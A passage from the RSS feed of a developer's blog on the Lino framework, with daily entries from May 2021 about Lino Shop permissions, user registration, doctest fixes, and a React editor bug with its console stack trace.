</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0510.html</guid><pubDate>Mon, 10 May 2021 00:00:00 +0000</pubDate></item><item><title>Sunday, May 9, 2021</title><link>https://luc.lino-framework.org/blog/2021/0509.html</link><description>&lt;section id="sunday-may-9-2021"&gt;
&lt;h1&gt;Sunday, May 9, 2021&lt;a class="headerlink" href="#sunday-may-9-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I started the &lt;a class="reference external" href="https://using.lino-framework.org/howto/index.html#ug-howto" title="(in Lino User Guide)"&gt;&lt;span&gt;Howto pages&lt;/span&gt;&lt;/a&gt; section of the User Guide. That made me discover
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4148"&gt;#4148&lt;/a&gt;, which I fixed. Later I wrote new content (or moved it  from the
&lt;cite&gt;book&lt;/cite&gt; docs) in &lt;a class="reference external" href="https://using.lino-framework.org/plugins/accounting.html#ug-plugins-accounting" title="(in Lino User Guide)"&gt;&lt;span&gt;The accounting plugin&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://using.lino-framework.org/plugins/vat.html#ug-plugins-vat" title="(in Lino User Guide)"&gt;&lt;span&gt;The vat plugin&lt;/span&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://using.lino-framework.org/howto/index.html#ug-howto" title="(in Lino User Guide)"&gt;&lt;span&gt;Howto pages&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;docs/shared/include/defs.rst&lt;/span&gt;&lt;/code&gt; still contained a series of URLs that
referred to github instead of gitlab.&lt;/p&gt;
&lt;p&gt;Sharif asked a good question. Example: in &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt; a customer can &lt;em&gt;see&lt;/em&gt;
(view) the tables of products and use the filter parameters (which will be very
complex) and the feature of sorting product lists by price or something else, so
we clearly want a customer to see the products.Products table and its children,
but this shouldn’t mean that a customer is also allowed to &lt;em&gt;edit&lt;/em&gt; anything in
these products.  To make this possible, we changed the API: Actors no longer
have an attribute &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;editable&lt;/span&gt;&lt;/code&gt;, but a method &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_row_editable()&lt;/span&gt;&lt;/code&gt; (which
is a class method on the actor, and the default implementation calls an instance
method of same name on the model). The application developer can now specify
that some model or actor generally refuses editing for a whole row based on the
user’s role(s).&lt;/p&gt;
&lt;p&gt;Note that even when &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_row_editable&lt;/span&gt;&lt;/code&gt; returns &lt;cite&gt;False&lt;/cite&gt;, we need to loop
over the names in &lt;cite&gt;disabled_fields&lt;/cite&gt; because they also contain the actions. For
example we don’t want the &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;add_to_cart&lt;/span&gt;&lt;/code&gt; action to be disabled for
customers. IOW when &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;is_row_editable()&lt;/span&gt;&lt;/code&gt; return False,
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.core.store.DisabledFieldsStoreField&lt;/span&gt;&lt;/code&gt; should simply add all fields
to the set returned by the actor’s &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_disabled_fields()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;TODO:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# core.fields.TableRow&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;is_row_editable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;

&lt;span class="c1"&gt;# Actor&lt;/span&gt;
&lt;span class="nd"&gt;@classmethod&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;is_row_editable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;cls&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_row_editable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# products.Product&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;is_row_editable&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get_user&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_type&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;has_required_roles&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;ProductsStaff&lt;/span&gt;&lt;span class="p"&gt;]):&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;As a side effect of planning above changes, we renamed
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_view_permission_handler()&lt;/span&gt;&lt;/code&gt; to &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_static_permission_handler()&lt;/span&gt;&lt;/code&gt;
because this expresses more clearly what it does. It is static, not necessarily
only for views. Though we use it only for getting the view permission.  All
other permissions are “dynamic”. i.e. they get a table row for deciding whether
permission is given or not.&lt;/p&gt;
&lt;p&gt;We investigated into &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4150"&gt;#4150&lt;/a&gt; (When creating a Furniture, Lino shows also
Thriller as category)&lt;/p&gt;
&lt;p&gt;I created &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4151"&gt;#4151&lt;/a&gt; (Cannot upload new image from product detail).&lt;/p&gt;
&lt;p&gt;I fixed two “trivial” failures in the book, both were caused by minor “quick
wins” I had done recently:&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doctest&lt;/span&gt; &lt;span class="pre"&gt;docs/specs/avanti/uploads.rst&lt;/span&gt;&lt;/code&gt; failed because
&lt;cite&gt;MyExpiringUploads.description_link&lt;/cite&gt; now uses the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;__str__()&lt;/span&gt;&lt;/code&gt; method instead
of doing almost exactly the same. There was a subtle difference, though.
Probably not important.  I just adapted the expected result.&lt;/p&gt;
&lt;p&gt;The roger project, which installs the publisher plugin, now has one pluing more
because publisher now automatically installs bootstrap3 as well. This
combination is not yet used in production, and it might go away again in case we
decide to deprecate publisher.  Until then I just adapted the expected result.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0509.html</guid><pubDate>Sun, 09 May 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, May 8, 2021</title><link>https://luc.lino-framework.org/blog/2021/0508.html</link><description>&lt;section id="saturday-may-8-2021"&gt;
&lt;h1&gt;Saturday, May 8, 2021&lt;a class="headerlink" href="#saturday-may-8-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sharif and I have done two sessions for &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt;. It is advancing.  We
started with -probably- the last fundamental question: how to render products
for normal customers.  We tried using &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#module-lino.modlib.publisher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; but this is
not what we need for webshop.&lt;/p&gt;
&lt;p&gt;It’s even possible that we will deprecate &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#module-lino.modlib.publisher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;
altogether. Even in &lt;a class="reference external" href="https://dev.lino-framework.org/ref/obsolete.html#module-lino_book.projects.cms" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cms&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; it yields poor results. Partly
because &lt;a class="reference external" href="https://dev.lino-framework.org/ref/obsolete.html#module-lino_book.projects.cms" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.cms&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is just a submarine project and because it
is quite crazy to believe that a CMS in Lino has a chance on the market. But the
CMS project inn’t dead, it’s just sleeping. Maybe one day it will wake up with
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.albums&lt;/span&gt;&lt;/code&gt; instead of  &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/publisher.html#module-lino.modlib.publisher" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.publisher&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;…   It was
broken for some trivial reason, and this wasn’t covered by the test suite. I
added it to the &lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;test_demo.py&lt;/span&gt;&lt;/code&gt; file.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0508.html</guid><pubDate>Sat, 08 May 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, May 5, 2021</title><link>https://luc.lino-framework.org/blog/2021/0505.html</link><description>&lt;section id="wednesday-may-5-2021"&gt;
&lt;h1&gt;Wednesday, May 5, 2021&lt;a class="headerlink" href="#wednesday-may-5-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I worked several hours in the &lt;a class="reference external" href="https://community.lino-framework.org/index.html#cg" title="(in Lino Community Guide)"&gt;&lt;span class="xref std std-ref"&gt;cg&lt;/span&gt;&lt;/a&gt;. I am still not satisfied but it’s
getting better.&lt;/p&gt;
&lt;p&gt;The term &lt;em&gt;Lino developer&lt;/em&gt; is too general.
It’s better to say
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-application-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;application developer&lt;/span&gt;&lt;/a&gt;, &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-contributing-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;contributing developer&lt;/span&gt;&lt;/a&gt; or
&lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-core-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;core developer&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Note that &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-core-developer" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;core developer&lt;/span&gt;&lt;/a&gt; doesn’t mean somebody who cares only about the
&lt;a class="reference external" href="https://dev.lino-framework.org/topics/pluginlibs.html#term-Lino-core" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;Lino core&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I replaced all occurrences of “site manager” by &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-manager" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site manager&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For the first time in my life I did a mass commit:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pp -d git ci -am &amp;quot;replace github by gitlab in requirements.txt&amp;quot;
Successfully terminated `git ci -am replace github by gitlab in requirements.txt` for all projects
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;(This was after &lt;a class="reference external" href="https://gitlab.com/lino-framework/shop/-/jobs/1236797299"&gt;https://gitlab.com/lino-framework/shop/-/jobs/1236797299&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;doctest&lt;/span&gt; &lt;span class="pre"&gt;docs/dev/redirect.rst&lt;/span&gt;&lt;/code&gt; in &lt;a class="reference external" href="https://dev.lino-framework.org/about/overview.html#book" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Developer Guide&lt;/span&gt;&lt;/a&gt; is currently failing
because Hannes is working on the redirect (&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4133"&gt;#4133&lt;/a&gt;). This test as such is
a good thing, but it is at the wrong place. It should not be part of the
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;book&lt;/span&gt;&lt;/code&gt; project. The book shouldn’t break just because one of our URLs is
broken.  It is a form of monitoring and should run more often, and it should
notify a list of responsible administrators.  Is this a job for Ansible?&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0505.html</guid><pubDate>Wed, 05 May 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, May 4, 2021</title><link>https://luc.lino-framework.org/blog/2021/0504.html</link><description>&lt;section id="tuesday-may-4-2021"&gt;
&lt;h1&gt;Tuesday, May 4, 2021&lt;a class="headerlink" href="#tuesday-may-4-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0504.html</guid><pubDate>Tue, 04 May 2021 00:00:00 +0000</pubDate></item><item><title>Monday, May 3, 2021</title><link>https://luc.lino-framework.org/blog/2021/0503.html</link><description>&lt;section id="monday-may-3-2021"&gt;
&lt;h1&gt;Monday, May 3, 2021&lt;a class="headerlink" href="#monday-may-3-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="online-registration-for-lino-shop"&gt;
&lt;h2&gt;Online registration for Lino Shop&lt;a class="headerlink" href="#online-registration-for-lino-shop" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;This week-end I worked, partly with Sharif, on &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4143"&gt;#4143&lt;/a&gt; (Review handling
of the User.partner field), which was triggered by &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/4121"&gt;#4121&lt;/a&gt;, which we need
for &lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt;. But it is about &lt;a class="reference external" href="https://using.lino-framework.org/plugins/users.html#term-online-registration" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;online registration&lt;/span&gt;&lt;/a&gt;, a general feature
on which we had previously done some work, which went to sleep with the
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#care" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Care&lt;/span&gt;&lt;/a&gt; project. Now is the moment to wake it up. I also did &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/2049"&gt;#2049&lt;/a&gt;
(Users don’t need to be partners in Noi) because it is part of the problem. I am
now sure that we want to get rid of &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.online.users&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I moved some functionality from &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.online.users&lt;/span&gt;&lt;/code&gt; to
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.users.html#module-lino.modlib.users" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.users&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;New plugin option &lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_verify&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.verify&lt;/span&gt;&lt;/code&gt; action.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;cite&gt;submit_insert&lt;/cite&gt; action now always does a nice warning when a username is already taken.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.send_welcome_email&lt;/span&gt;&lt;/code&gt; action is no longer a window action. We
don’t want any question about recipient or subject of the mail.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/users.html#lino.modlib.users.User.partner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.partner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; field is empty, and all three fields first_name,
last_name and email are non-empty, (and if the user is verified on a site with
&lt;code class="xref py py-data docutils literal notranslate"&gt;&lt;span class="pre"&gt;use_verify&lt;/span&gt;&lt;/code&gt; set to True), then Lino now automatically creates a
&lt;cite&gt;contacts.Person&lt;/cite&gt; based on this data. This automatism does not apply to
SiteAdmin users who can edit the partner field manually.&lt;/p&gt;
&lt;p&gt;As a side effect I had to review &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.users.UserDetail&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;One advantage of not using  &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.online.users&lt;/span&gt;&lt;/code&gt; any more: In
&lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/index.html#shop" title="(in Lino Shop v23.3)"&gt;&lt;span&gt;Lino Shop&lt;/span&gt;&lt;/a&gt; we can have a same &lt;a class="reference external" href="https://using.lino-framework.org/plugins/contacts.html#term-person" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;person&lt;/span&gt;&lt;/a&gt; with two user accounts: one as a
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.lib.shop.UserTypes.customer&lt;/span&gt;&lt;/code&gt; and one as a
&lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/guide/index.html#lino_shop.lib.shop.UserTypes.vendor" title="(in Lino Shop v23.3)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.lib.shop.UserTypes.vendor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;These changes caused (trivial) failures in quite some doctest suites because we
have now one more view (about.DateFormats), one window action less and one more field in User.&lt;/p&gt;
&lt;p&gt;Data migration will be funny: In noi we no longer use online.users: User is no
longer a subclass of Person. Might require some magic when migrating production
data.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="new-user-role-ledgerpartner"&gt;
&lt;h2&gt;New user role &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LedgerPartner&lt;/span&gt;&lt;/code&gt;&lt;a class="headerlink" href="#new-user-role-ledgerpartner" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;In &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_xl.lib.accounting.html#module-lino_xl.lib.accounting" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.accounting&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I added a new role &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/accounting.html#lino_xl.lib.accounting.LedgerPartner" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;LedgerPartner&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, and
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.lib.shop.UserTypes.customer&lt;/span&gt;&lt;/code&gt; and
&lt;a class="reference external" href="https://lino-framework.gitlab.io/shop/guide/index.html#lino_shop.lib.shop.UserTypes.vendor" title="(in Lino Shop v23.3)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_shop.lib.shop.UserTypes.vendor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; already inherit from it. Next step
is to add &lt;a class="reference external" href="https://dev.lino-framework.org/dev/tables/index.html#term-data-table" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;data tables&lt;/span&gt;&lt;/a&gt; like  &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MyInvoices&lt;/span&gt;&lt;/code&gt; and
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;MyPayments&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/section&gt;
&lt;section id="configuring-how-to-represent-dates"&gt;
&lt;h2&gt;Configuring how to represent dates&lt;a class="headerlink" href="#configuring-how-to-represent-dates" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I added a new field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;User.date_format&lt;/span&gt;&lt;/code&gt;. It is there for all applications.
It is not yet being used, but &lt;a class="reference external" href="https://react.lino-framework.org/dev/py.html#module-lino_react" title="(in Lino React)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_react&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; is ready to implement it. And
&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.extjs.html#module-lino.modlib.extjs" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.extjs&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; might follow one day.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="the-hydra-effect"&gt;
&lt;h2&gt;The Hydra effect&lt;a class="headerlink" href="#the-hydra-effect" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Note: The Hydra effect is when you have the impression of not advancing. You cut
down one head of the monster and it grows seven new ones. But Lino is like a
Hydra, except that it gets more &lt;em&gt;beautiful&lt;/em&gt; (not more dangerous) each time you
fix a bug.  Working on a beast like Lino makes sense only because it is free
software.&lt;/p&gt;
&lt;p&gt;The documentation framework, even taken on its own, is a full-featured Hydra.
But is getting better with each iteration.  Now we have a page about it:
&lt;cite&gt;lino.doctrees&lt;/cite&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="some-bug-in-the-react-text-editor"&gt;
&lt;h2&gt;Some bug in the React text editor&lt;a class="headerlink" href="#some-bug-in-the-react-text-editor" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I created a comment and then pasted some text into it. This caused my browser
page to lock up. Firefox asked me “This page is slowing down your browser. Do
you want to stop it?”  After stopping it, I had the following messages in the JS console:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;NWS App.js:1097:15
request aborted DOMException: The operation was aborted. DataProvider.js:117:19
Use of Mutation Events is deprecated. Use MutationObserver instead. main.js line 3530 &amp;gt; eval:5511:24
Script terminated by timeout at:
commitMutationEffects@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:3945:214
callCallback@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:657:119
invokeGuardedCallbackDev@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:677:45
invokeGuardedCallback@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:696:126
commitRootImpl@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:3908:49
unstable_runWithPriority@webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465:16
runWithPriority$1@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2063:1059
commitRoot@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:3877:526
performSyncWorkOnRoot@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:3753:107
flushSyncCallbackQueueImpl/&amp;lt;@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2069:188
unstable_runWithPriority@webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465:16
runWithPriority$1@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2063:1059
flushSyncCallbackQueueImpl@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2069:95
flushSyncCallbackQueue@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2068:339
scheduleUpdateOnFiber@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:3631:20
enqueueSetState@webpack:///./node_modules/react-dom/cjs/react-dom.development.js?:2195:489
Component.prototype.setState@webpack:///./node_modules/react/cjs/react.development.js?:358:20
onTextChange@webpack:///./lino_react/react/components/TextFieldElement.js?:120:12
componentDidMount/&amp;lt;/&amp;lt;@webpack:///./node_modules/primereact/components/editor/Editor.js?:282:27
emit@webpack:///./node_modules/quill/dist/quill.js?:11207:33
emit@webpack:///./node_modules/quill/dist/quill.js?:2526:105
modify@webpack:///./node_modules/quill/dist/quill.js?:2089:45
updateContents@webpack:///./node_modules/quill/dist/quill.js?:1959:27
onPaste/&amp;lt;@webpack:///./node_modules/quill/dist/quill.js?:11622:28
main.js line 3818 &amp;gt; eval:3945:214
The above error occurred in the &amp;lt;Tooltip&amp;gt; component:

Tooltip@webpack:///./node_modules/primereact/components/tooltip/Tooltip.js?:291:20

Consider adding an error boundary to your tree to customize error handling behavior.
Visit https://reactjs.org/link/error-boundaries to learn more about error boundaries. react-dom.development.js:3308:9
    React 10
    unstable_runWithPriority webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465
    React 4
    unstable_runWithPriority webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465
    React 6
    onTextChange webpack:///./lino_react/react/components/TextFieldElement.js?:120
    componentDidMount webpack:///./node_modules/primereact/components/editor/Editor.js?:282
    emit webpack:///./node_modules/quill/dist/quill.js?:11207
    emit webpack:///./node_modules/quill/dist/quill.js?:2526
    modify webpack:///./node_modules/quill/dist/quill.js?:2089
    updateContents webpack:///./node_modules/quill/dist/quill.js?:1959
    onPaste webpack:///./node_modules/quill/dist/quill.js?:11622
Uncaught Error: An error was thrown inside one of your components, but React doesn&amp;#39;t know what it was. This is likely due to browser flakiness. React does its best to preserve the &amp;quot;Pause on exceptions&amp;quot; behavior of the DevTools, which requires some DEV-mode only tricks. It&amp;#39;s possible that these don&amp;#39;t work in your browser. Try triggering the error in production mode, or switching to a modern browser. If you suspect that this is actually an issue with React, please file an issue.
    React 3
    unstable_runWithPriority webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465
    React 4
    unstable_runWithPriority webpack:///./node_modules/scheduler/cjs/scheduler.development.js?:465
    React 6
